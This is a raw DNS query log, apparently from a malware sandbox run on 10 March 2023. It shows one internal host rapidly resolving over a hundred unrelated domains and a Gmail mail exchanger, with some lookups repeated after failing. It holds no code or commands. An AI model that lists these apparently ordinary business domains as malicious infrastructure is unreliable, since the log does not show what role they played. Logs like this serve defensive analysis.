Mar 10, 2023 07:56:16.295949936 CET	8.8.8.8	192.168.2.6	0x9d23	No error (0)	x96.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.316334963 CET	8.8.8.8	192.168.2.6	0xf799	Name error (3)	ludea.cz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.333528042 CET	8.8.8.8	192.168.2.6	0x2f1c	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.339798927 CET	8.8.8.8	192.168.2.6	0xeb8a	No error (0)	likangds.com		23.225.40.19	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.377073050 CET	8.8.8.8	192.168.2.6	0x5841	No error (0)	dspears.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:16.377073050 CET	8.8.8.8	192.168.2.6	0x5841	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:16.377073050 CET	8.8.8.8	192.168.2.6	0x5841	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.377073050 CET	8.8.8.8	192.168.2.6	0x5841	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.444696903 CET	8.8.8.8	192.168.2.6	0xcdf9	No error (0)	www.fnsds.org	comingsoon.namebright.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:16.444696903 CET	8.8.8.8	192.168.2.6	0xcdf9	No error (0)	comingsoon.namebright.com	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:16.444696903 CET	8.8.8.8	192.168.2.6	0xcdf9	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		52.200.100.0	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.444696903 CET	8.8.8.8	192.168.2.6	0xcdf9	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		34.237.200.184	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.483329058 CET	8.8.8.8	192.168.2.6	0x71e0	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.493350029 CET	8.8.8.8	192.168.2.6	0xf678	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.520927906 CET	8.8.8.8	192.168.2.6	0xd528	No error (0)	kairel.com		54.217.118.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.521260023 CET	8.8.8.8	192.168.2.6	0x9ae4	No error (0)	awal.ws		127.0.0.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.527637959 CET	8.8.8.8	192.168.2.6	0x636b	No error (0)	pertex.com		185.151.30.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.527662992 CET	8.8.8.8	192.168.2.6	0x7cef	No error (0)	cqdgroup.com		221.132.33.88	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.567332029 CET	8.8.8.8	192.168.2.6	0x2084	No error (0)	usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.587981939 CET	8.8.8.8	192.168.2.6	0x5771	No error (0)	reproar.com		194.143.194.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.610232115 CET	8.8.8.8	192.168.2.6	0x33ae	No error (0)	from30ty.com		157.7.231.224	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.628166914 CET	8.8.8.8	192.168.2.6	0x8e6f	No error (0)	hyabmagneter.se		172.67.209.90	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.628166914 CET	8.8.8.8	192.168.2.6	0x8e6f	No error (0)	hyabmagneter.se		104.21.69.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.640858889 CET	8.8.8.8	192.168.2.6	0xcdc	No error (0)	listel.co.jp		49.212.243.77	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.652000904 CET	8.8.8.8	192.168.2.6	0x2913	No error (0)	siongann.com		172.67.156.237	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.652000904 CET	8.8.8.8	192.168.2.6	0x2913	No error (0)	siongann.com		104.21.8.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.681056976 CET	8.8.8.8	192.168.2.6	0x1e8	No error (0)	calvinly.com		216.239.34.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.681056976 CET	8.8.8.8	192.168.2.6	0x1e8	No error (0)	calvinly.com		216.239.32.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.681056976 CET	8.8.8.8	192.168.2.6	0x1e8	No error (0)	calvinly.com		216.239.36.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.681056976 CET	8.8.8.8	192.168.2.6	0x1e8	No error (0)	calvinly.com		216.239.38.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.686259031 CET	8.8.8.8	192.168.2.6	0xe6ee	No error (0)	www.x0c.com		185.53.177.50	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.698307037 CET	8.8.8.8	192.168.2.6	0x6b96	No error (0)	anduran.com	traff-2.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:16.698307037 CET	8.8.8.8	192.168.2.6	0x6b96	No error (0)	traff-2.hugedomains.com	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:16.698307037 CET	8.8.8.8	192.168.2.6	0x6b96	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.204.160	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.698307037 CET	8.8.8.8	192.168.2.6	0x6b96	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.253.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.701666117 CET	8.8.8.8	192.168.2.6	0x4352	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.701705933 CET	8.8.8.8	192.168.2.6	0xeede	No error (0)	tabbles.net		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.701705933 CET	8.8.8.8	192.168.2.6	0xeede	No error (0)	tabbles.net		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.729840040 CET	8.8.8.8	192.168.2.6	0xc0c6	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.752006054 CET	8.8.8.8	192.168.2.6	0x90b4	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.782494068 CET	8.8.8.8	192.168.2.6	0x94e8	No error (0)	ccrsi.org		198.209.253.30	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.786976099 CET	8.8.8.8	192.168.2.6	0xe366	No error (0)	pcoyuncu.com		213.142.131.159	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.790854931 CET	8.8.8.8	192.168.2.6	0x65df	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.793716908 CET	8.8.8.8	192.168.2.6	0x4cb1	No error (0)	www.pohlfood.com	pohlfood.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:16.793716908 CET	8.8.8.8	192.168.2.6	0x4cb1	No error (0)	pohlfood.com		104.218.10.254	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.809295893 CET	8.8.8.8	192.168.2.6	0x559	No error (0)	biurohera.pl		54.36.175.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.809295893 CET	8.8.8.8	192.168.2.6	0x559	No error (0)	biurohera.pl		79.96.161.192	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.810308933 CET	8.8.8.8	192.168.2.6	0x7dc3	No error (0)	bossinst.com		205.178.189.131	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.843859911 CET	8.8.8.8	192.168.2.6	0x4a35	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.843924046 CET	8.8.8.8	192.168.2.6	0x8020	No error (0)	any-s.net		185.104.28.238	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.863306999 CET	8.8.8.8	192.168.2.6	0xe99a	No error (0)	www.hyabmagneter.se		104.21.69.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.863306999 CET	8.8.8.8	192.168.2.6	0xe99a	No error (0)	www.hyabmagneter.se		172.67.209.90	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.867836952 CET	8.8.8.8	192.168.2.6	0xbf33	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.910093069 CET	8.8.8.8	192.168.2.6	0x21ce	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.911977053 CET	8.8.8.8	192.168.2.6	0xae3e	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.916563034 CET	8.8.8.8	192.168.2.6	0x328c	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.935218096 CET	8.8.8.8	192.168.2.6	0x98c4	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.939156055 CET	8.8.8.8	192.168.2.6	0x2a26	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.957784891 CET	8.8.8.8	192.168.2.6	0xf10	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.960746050 CET	8.8.8.8	192.168.2.6	0x54d5	No error (0)	kayoaiba.com		154.213.117.166	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.007289886 CET	8.8.8.8	192.168.2.6	0x3863	No error (0)	onzcda.com		35.186.238.101	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.010349035 CET	8.8.8.8	192.168.2.6	0xdc03	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.063275099 CET	8.8.8.8	192.168.2.6	0x63cd	No error (0)	yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.114012957 CET	8.8.8.8	192.168.2.6	0xf71	Name error (3)	www.koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.114038944 CET	8.8.8.8	192.168.2.6	0x201b	No error (0)	pers.com		192.124.249.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.144062996 CET	8.8.8.8	192.168.2.6	0xd223	No error (0)	hazmatt.com		205.178.189.131	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.165791035 CET	8.8.8.8	192.168.2.6	0x53cb	No error (0)	banvari.com		23.227.38.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.179655075 CET	8.8.8.8	192.168.2.6	0xa775	No error (0)	karmy.com.pl		185.253.212.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.183670044 CET	8.8.8.8	192.168.2.6	0x6b7b	No error (0)	shztm.ru		52.50.65.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.185615063 CET	8.8.8.8	192.168.2.6	0xc135	No error (0)	aoinko.net		157.7.107.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.222707033 CET	8.8.8.8	192.168.2.6	0xe5d6	No error (0)	paraski.org		94.130.164.242	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.273637056 CET	8.8.8.8	192.168.2.6	0x947b	No error (0)	captlfix.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.273637056 CET	8.8.8.8	192.168.2.6	0x947b	No error (0)	captlfix.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.273637056 CET	8.8.8.8	192.168.2.6	0x947b	No error (0)	captlfix.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.273637056 CET	8.8.8.8	192.168.2.6	0x947b	No error (0)	captlfix.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.299520969 CET	8.8.8.8	192.168.2.6	0x2d3f	No error (0)	noblesse.be		5.134.4.115	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.312125921 CET	8.8.8.8	192.168.2.6	0xff51	No error (0)	holp-ai.com		59.106.13.169	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.393661976 CET	8.8.8.8	192.168.2.6	0xadb3	No error (0)	ccssinc.com		104.21.19.68	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.393661976 CET	8.8.8.8	192.168.2.6	0xadb3	No error (0)	ccssinc.com		172.67.185.152	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.402738094 CET	8.8.8.8	192.168.2.6	0xd2d4	No error (0)	fifa-ews.com		104.21.10.34	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.402738094 CET	8.8.8.8	192.168.2.6	0xd2d4	No error (0)	fifa-ews.com		172.67.189.227	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.418708086 CET	8.8.8.8	192.168.2.6	0x913f	No error (0)	shiner.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.418708086 CET	8.8.8.8	192.168.2.6	0x913f	No error (0)	shiner.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.458908081 CET	8.8.8.8	192.168.2.6	0x3bad	No error (0)	zemarmot.net		164.132.175.106	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.463448048 CET	8.8.8.8	192.168.2.6	0xb02a	No error (0)	host.do		217.79.248.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.489552975 CET	8.8.8.8	192.168.2.6	0xf08c	No error (0)	gbp-jp.com		208.80.123.195	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.489552975 CET	8.8.8.8	192.168.2.6	0xf08c	No error (0)	gbp-jp.com		208.80.122.2	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.489552975 CET	8.8.8.8	192.168.2.6	0xf08c	No error (0)	gbp-jp.com		208.80.122.205	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.489552975 CET	8.8.8.8	192.168.2.6	0xf08c	No error (0)	gbp-jp.com		208.80.123.104	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.491211891 CET	8.8.8.8	192.168.2.6	0xd7e1	No error (0)	tcpoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.491211891 CET	8.8.8.8	192.168.2.6	0xd7e1	No error (0)	tcpoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.534779072 CET	8.8.8.8	192.168.2.6	0x3a8c	No error (0)	fortknox.bm		216.177.137.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.600231886 CET	8.8.8.8	192.168.2.6	0x97d2	No error (0)	karila.fr		89.107.169.125	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.607922077 CET	8.8.8.8	192.168.2.6	0x6664	No error (0)	duiops.net		135.125.108.170	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.613888025 CET	8.8.8.8	192.168.2.6	0x5925	No error (0)	dzm.cz		83.167.255.150	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.635888100 CET	8.8.8.8	192.168.2.6	0x84d8	No error (0)	snf.it		95.174.22.233	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.637907982 CET	8.8.8.8	192.168.2.6	0x4f74	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.639307022 CET	8.8.8.8	192.168.2.6	0x44fe	No error (0)	yhsll.com		154.88.50.199	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.697973013 CET	8.8.8.8	192.168.2.6	0x6c9c	No error (0)	calvinly.com		216.239.32.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.697973013 CET	8.8.8.8	192.168.2.6	0x6c9c	No error (0)	calvinly.com		216.239.34.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.697973013 CET	8.8.8.8	192.168.2.6	0x6c9c	No error (0)	calvinly.com		216.239.36.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.697973013 CET	8.8.8.8	192.168.2.6	0x6c9c	No error (0)	calvinly.com		216.239.38.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.721541882 CET	8.8.8.8	192.168.2.6	0x5469	No error (0)	x96.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.721541882 CET	8.8.8.8	192.168.2.6	0x5469	No error (0)	x96.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.765952110 CET	8.8.8.8	192.168.2.6	0x98b3	No error (0)	polprime.com		154.214.189.76	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.852493048 CET	8.8.8.8	192.168.2.6	0x1d9c	No error (0)	sgk.home.pl		89.161.136.188	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.872014999 CET	8.8.8.8	192.168.2.6	0x29d2	No error (0)	themark.org		35.172.94.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.872014999 CET	8.8.8.8	192.168.2.6	0x29d2	No error (0)	themark.org		100.24.208.97	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.921236038 CET	8.8.8.8	192.168.2.6	0xdd91	No error (0)	mikihan.com		153.126.211.112	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.963006973 CET	8.8.8.8	192.168.2.6	0x12db	No error (0)	mcseurope.nl		46.19.218.80	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.133712053 CET	8.8.8.8	192.168.2.6	0xcd5	No error (0)	kavram.com		104.21.89.126	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.133712053 CET	8.8.8.8	192.168.2.6	0xcd5	No error (0)	kavram.com		172.67.189.68	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.194746971 CET	8.8.8.8	192.168.2.6	0x4623	No error (0)	kumaden.com		49.212.180.178	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.208949089 CET	8.8.8.8	192.168.2.6	0x124e	No error (0)	gmail-smtp-in.l.google.com		142.250.27.26	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.216527939 CET	8.8.8.8	192.168.2.6	0xfeb2	No error (0)	sledsport.ru		185.22.232.175	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.256616116 CET	8.8.8.8	192.168.2.6	0xe942	No error (0)	calvinly.com		216.239.32.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.256616116 CET	8.8.8.8	192.168.2.6	0xe942	No error (0)	calvinly.com		216.239.34.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.256616116 CET	8.8.8.8	192.168.2.6	0xe942	No error (0)	calvinly.com		216.239.36.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.256616116 CET	8.8.8.8	192.168.2.6	0xe942	No error (0)	calvinly.com		216.239.38.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.257431030 CET	8.8.8.8	192.168.2.6	0x53a9	No error (0)	vvsteknik.dk		185.31.76.90	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.265022039 CET	8.8.8.8	192.168.2.6	0x5a96	No error (0)	nels.co.uk		5.134.13.210	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.305763006 CET	8.8.8.8	192.168.2.6	0x933	No error (0)	www.11tochi.net		157.112.176.4	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.349916935 CET	8.8.8.8	192.168.2.6	0x8d19	No error (0)	themark.org		35.172.94.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.349916935 CET	8.8.8.8	192.168.2.6	0x8d19	No error (0)	themark.org		100.24.208.97	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.351277113 CET	8.8.8.8	192.168.2.6	0x49f8	Name error (3)	koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.373110056 CET	8.8.8.8	192.168.2.6	0xbc85	No error (0)	pertex.com		185.151.30.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.383124113 CET	8.8.8.8	192.168.2.6	0x434a	Name error (3)	koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.388458014 CET	8.8.8.8	192.168.2.6	0x5e4a	No error (0)	kavram.com		104.21.89.126	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.388458014 CET	8.8.8.8	192.168.2.6	0x5e4a	No error (0)	kavram.com		172.67.189.68	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.408567905 CET	8.8.8.8	192.168.2.6	0x2e06	No error (0)	canasil.com		172.67.68.180	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.408567905 CET	8.8.8.8	192.168.2.6	0x2e06	No error (0)	canasil.com		104.26.2.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.408567905 CET	8.8.8.8	192.168.2.6	0x2e06	No error (0)	canasil.com		104.26.3.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.408701897 CET	8.8.8.8	192.168.2.6	0x3201	No error (0)	sjbmw.com		198.199.101.195	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.419589996 CET	8.8.8.8	192.168.2.6	0x89bf	Name error (3)	koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.428978920 CET	8.8.8.8	192.168.2.6	0x92b5	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.432881117 CET	8.8.8.8	192.168.2.6	0xea49	No error (0)	ncn.de		46.30.60.158	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.463293076 CET	8.8.8.8	192.168.2.6	0x135	No error (0)	hchc.org		34.224.10.110	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.463293076 CET	8.8.8.8	192.168.2.6	0x135	No error (0)	hchc.org		52.11.37.152	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.469119072 CET	8.8.8.8	192.168.2.6	0xa552	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.485094070 CET	8.8.8.8	192.168.2.6	0xfccd	No error (0)	a-domani.com		183.90.232.24	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.489790916 CET	8.8.8.8	192.168.2.6	0xeff5	Name error (3)	ludea.cz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.501440048 CET	8.8.8.8	192.168.2.6	0x339	No error (0)	kairel.com		54.217.118.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.512943983 CET	8.8.8.8	192.168.2.6	0x930c	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.518739939 CET	8.8.8.8	192.168.2.6	0x90ca	Name error (3)	ludea.cz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.546873093 CET	8.8.8.8	192.168.2.6	0xf8ea	Name error (3)	ludea.cz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.569451094 CET	8.8.8.8	192.168.2.6	0x2396	No error (0)	assideum.com		52.219.92.8	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.594481945 CET	8.8.8.8	192.168.2.6	0x5ed5	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.605609894 CET	8.8.8.8	192.168.2.6	0xed19	No error (0)	bidroll.com		13.56.33.8	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.625163078 CET	8.8.8.8	192.168.2.6	0x8d77	No error (0)	from30ty.com		157.7.231.224	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.629067898 CET	8.8.8.8	192.168.2.6	0xcd4d	No error (0)	midap.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.629067898 CET	8.8.8.8	192.168.2.6	0xcd4d	No error (0)	midap.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.629067898 CET	8.8.8.8	192.168.2.6	0xcd4d	No error (0)	midap.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.629067898 CET	8.8.8.8	192.168.2.6	0xcd4d	No error (0)	midap.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.674892902 CET	8.8.8.8	192.168.2.6	0xba71	No error (0)	captlfix.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.674892902 CET	8.8.8.8	192.168.2.6	0xba71	No error (0)	captlfix.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.674892902 CET	8.8.8.8	192.168.2.6	0xba71	No error (0)	captlfix.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.674892902 CET	8.8.8.8	192.168.2.6	0xba71	No error (0)	captlfix.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.707700014 CET	8.8.8.8	192.168.2.6	0xd16a	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.739505053 CET	8.8.8.8	192.168.2.6	0xd504	No error (0)	web-york.com		219.94.129.97	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.810250998 CET	8.8.8.8	192.168.2.6	0xe4d0	No error (0)	ikulani.com		157.7.107.88	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.835268974 CET	8.8.8.8	192.168.2.6	0xefcc	No error (0)	from30ty.com		157.7.231.224	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.879717112 CET	8.8.8.8	192.168.2.6	0xc92	No error (0)	popbook.com		47.91.167.60	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.954915047 CET	8.8.8.8	192.168.2.6	0x3c7	No error (0)	vfcindia.com		68.71.135.170	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.054577112 CET	8.8.8.8	192.168.2.6	0x850d	No error (0)	rappich.de		89.31.143.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.114291906 CET	8.8.8.8	192.168.2.6	0xab6	No error (0)	dyag-eng.com		3.64.163.50	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.115852118 CET	8.8.8.8	192.168.2.6	0xdce4	No error (0)	www.pb-games.com	pb-games.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:19.115852118 CET	8.8.8.8	192.168.2.6	0xdce4	No error (0)	pb-games.com		173.254.28.29	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.121073961 CET	8.8.8.8	192.168.2.6	0xd47c	No error (0)	atbauk.org		172.67.196.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.121073961 CET	8.8.8.8	192.168.2.6	0xd47c	No error (0)	atbauk.org		104.21.92.170	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.123363972 CET	8.8.8.8	192.168.2.6	0xca70	No error (0)	johnlyon.org		141.193.213.20	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.140121937 CET	8.8.8.8	192.168.2.6	0x53d8	No error (0)	stopllc.com		162.241.233.114	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.218600035 CET	8.8.8.8	192.168.2.6	0x10d0	No error (0)	bggs.com		35.230.155.43	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.296744108 CET	8.8.8.8	192.168.2.6	0x9030	No error (0)	cqdgroup.com		221.132.33.88	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.309027910 CET	8.8.8.8	192.168.2.6	0x76fa	No error (0)	scintel.com		23.239.201.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.361541986 CET	8.8.8.8	192.168.2.6	0xece5	No error (0)	hchc.org		34.224.10.110	A (IP address)	IN (0x0001)	false
